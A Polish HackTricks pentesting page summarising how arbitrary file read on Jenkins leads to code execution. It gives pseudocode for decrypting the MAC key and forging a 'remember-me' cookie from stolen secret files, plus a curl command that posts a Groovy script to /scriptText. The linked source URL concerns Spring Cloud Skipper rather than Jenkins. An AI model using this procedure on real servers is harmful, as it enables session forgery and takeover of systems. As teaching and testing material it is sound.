Jenkins Arbitrary File Read to RCE via “Remember Me”

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

W tym wpisie na blogu można znaleźć świetny sposób na przekształcenie podatności Local File Inclusion w Jenkins w RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

To jest podsumowanie stworzone przez AI części wpisu, w której wykorzystanie arbitralnego ciasteczka jest nadużywane do uzyskania RCE poprzez lokalne odczytywanie plików, aż znajdę czas na stworzenie własnego podsumowania:

Wymagania wstępne ataku

  • Wymaganie funkcji: “Zapamiętaj mnie” musi być włączone (domyślne ustawienie).
  • Poziomy dostępu: Atakujący potrzebuje uprawnień Overall/Read.
  • Dostęp do sekretów: Możliwość odczytu zarówno zawartości binarnej, jak i tekstowej z kluczowych plików.

Szczegółowy proces eksploatacji

Krok 1: Zbieranie danych

Pobieranie informacji o użytkowniku

  • Uzyskaj konfigurację użytkownika i sekrety z $JENKINS_HOME/users/*.xml dla każdego użytkownika, aby zebrać:
  • Nazwa użytkownika
  • Ziarno użytkownika
  • Znacznik czasu
  • Hash hasła

Ekstrakcja klucza sekretnego

  • Wyodrębnij klucze kryptograficzne używane do podpisywania ciasteczka:
  • Klucz sekretu: $JENKINS_HOME/secret.key
  • Klucz główny: $JENKINS_HOME/secrets/master.key
  • Plik klucza MAC: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Krok 2: Fałszowanie ciasteczka

Przygotowanie tokena

  • Oblicz czas wygaśnięcia tokena:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Dodaje jedną godzinę do bieżącego czasu
  • Konkatenacja danych dla tokena:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

Deszyfrowanie klucza MAC

  • Deszyfruj plik klucza MAC:
key = toAes128Key(masterKey)  // Konwertuj klucz główny na format klucza AES128
decrypted = AES.decrypt(macFile, key)  // Deszyfruj plik .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Obliczanie podpisu

  • Oblicz HMAC SHA256:
mac = HmacSHA256(token, macKey) // Oblicz HMAC używając tokena i klucza MAC
tokenSignature = bytesToHexString(mac) // Konwertuj MAC na ciąg szesnastkowy

Kodowanie ciasteczka

  • Generuj końcowe ciasteczko:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Koduj dane ciasteczka w Base64

Krok 3: Wykonanie kodu

Uwierzytelnianie sesji

  • Pobierz tokeny CSRF i sesji:
  • Wykonaj żądanie do /crumbIssuer/api/json, aby uzyskać Jenkins-Crumb.
  • Przechwyć JSESSIONID z odpowiedzi, który będzie używany w połączeniu z ciasteczkiem “remember-me”.

Żądanie wykonania polecenia

  • Wyślij żądanie POST z skryptem Groovy:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Skrypt Groovy może być używany do wykonywania poleceń na poziomie systemu lub innych operacji w środowisku Jenkins.

Przykład polecenia curl pokazuje, jak wykonać żądanie do Jenkins z niezbędnymi nagłówkami i ciasteczkami, aby bezpiecznie wykonać arbitralny kod.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks